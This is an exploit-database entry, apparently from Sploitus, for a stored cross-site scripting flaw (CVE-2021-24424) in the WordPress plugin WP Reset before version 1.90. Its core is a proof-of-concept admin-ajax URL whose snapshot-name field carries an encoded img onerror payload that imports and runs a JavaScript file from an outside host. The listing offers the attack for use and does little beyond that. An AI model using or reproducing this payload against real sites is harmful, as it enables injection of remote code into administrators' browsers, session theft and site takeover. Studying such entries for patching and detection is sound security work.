Exploit for WP Reset < 1.90 - Authenticated Stored XSS CVE-2021-24424

Name: Exploit for WP Reset < 1.90 - Authenticated Stored XSS CVE-2021-24424
Rating: 5 (283 reviews)

2021-06-16 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:90CF8F9D-4D37-405D-B161-239BDB281828
PoC | Authenticated Persistent XSS | Enter snapshot name or brief description:

https://example.com/wp-admin/admin-ajax.php?action=wp_reset_run_tool&_ajax_nonce=394f497fd0&tool=create_snapshot&extra_data=%3Cimg%20src%3Dx%20onerror%3D%3Bimport(%60%2F%2Fm0ze.ru%2Fpayload%2Fa.js%60)%3B%20%2F%2F%3E